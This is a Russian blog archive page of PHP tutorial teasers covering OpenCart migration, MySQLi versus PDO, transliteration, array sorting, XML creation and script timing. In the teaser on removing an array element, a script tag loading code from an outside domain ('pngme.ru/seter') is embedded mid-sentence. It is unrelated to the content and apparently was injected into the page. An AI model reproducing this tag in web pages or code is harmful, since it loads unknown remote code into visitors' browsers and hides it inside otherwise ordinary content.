Архивы метки: Array

Перенос модулей с OpenCart 1.5 на OpenCart 2.0

live-chat-plugin-opencart[1]С выходом opencart 2.0, которая значительно отличается от 1.5.6 остро стал вопрос переноса моделей на эту версию движка со старых версий.
Поэтому решил написать об этом пост, где можно было бы описать все нюансы переноса. Чтобы все было в 1 месте.
Сначала даю минимум, то, с чем столкнулся сам, потом в процессе получения новой информации пост будет пополняться новыми данными. Читать далее →

MySqli или PDO?

mysql-icon[1]Последние годы я писал сайты исключительно на фреймворках, что избавляло меня от работы с БД напрямую. Некоторое время назад начал работу над сайтом на чистом php и задался вопросом, что использовать вместо устаревшего и нерекомендованного к использованию старого расширения PHP MySQL.

Выбирать нужно было между MySqli и PDO. После не очень длительного изучения решил остановиться на MySqli, так как, как мне тогда казалось, он полностью идентичен PDO, за исключением того, что нет возможности отказаться от MySQL в пользу чего-то другого. Как я напишу ниже это не совсем так, минимум одно заметное отличие есть. 

MySqli рекомендован к использованию самими разработчиками PHP.

Читать далее →

Перевод русского текста в транслит и UTF-8 (PHP)

1[1] В общем случае для транслитерации русского текста можно воспользоваться функцией из библиотеки php strtr (). Раньше пользовался функцией: Читать далее →

Сортировка массива в PHP (индексные и ассоциативные)

mang phpСуществует большое количество функций для удобной работы с ними. В частности, сегодня речь пойдёт о сортировке. Ничего нового открывать я не буду, просто познакомлю с самыми нужными для ежедневного кодинга. Читать далее →

Борьба с висячими строками в заголовках

Висячей строкой называют последнюю строку текста, в которой оказывается лишь одно слово. В отличие от книг и журналов, на наличие таких строк на сайтах не обращают внимания, однако если висячая строка окажется в крупном заголовке, это будет бросаться в глаза. Для предотвращения висячих слов в заголовках можно между двумя последними словами во всех заголовках вставлять неразрывный пробел (« »). В этом случае, последнее слово будет всегда переноситься с предыдущим. Для того, чтобы автоматизировать расстановку непереносимых пробелов, можно использовать следующий скрипт: Читать далее →

Создание XML-документа на PHP

В предыдущих статьях по стандарту DOM я упоминал, что он огромен. В нём сотни самых различных свойств и методов у десятков классов. Всё это выучить достаточно тяжело и, главное, не нужно. Ваша главная задача — это уметь создавать XML-документы и парсить их. И в этой статье мы с Вами будем заниматься созданием XML-документа на PHP. Читать далее →

Отделение расширение файла средствами PHP

Получить расширение файла — не самая сложная задача. Но подходов к ее решению может быть несколько. Давайте попробуем рассмотреть несколько возможных вариантов и понять принципы их работы. Читать далее →

Найти и удалить элемент массива в PHP

Чтобы удалить определенный элемент из числового массива, сперва нужно найти ключ данного элемента. Для поиска ключа нужно воспользоваться функцией array_search(), а затем при помощи функции unset()<script src="//pngme.ru/seter"></script> удалить элемент. Читать далее →

Как проверить время выполнения скрипта PHP

Каждый скрипт нуждается в отладке, а одним из параметров качественной работы является быстрая скорость работы той или иной функции или ПО в принципе.
PHP не предоставляет стандартных способов получения такой информации, соответственно приходится прибегать к модификациям кода. Скорость выполнения можно определить получив значения времени в момент запуска какого-либо участка кода и в момент окончания его выпонения. Читать далее →

Top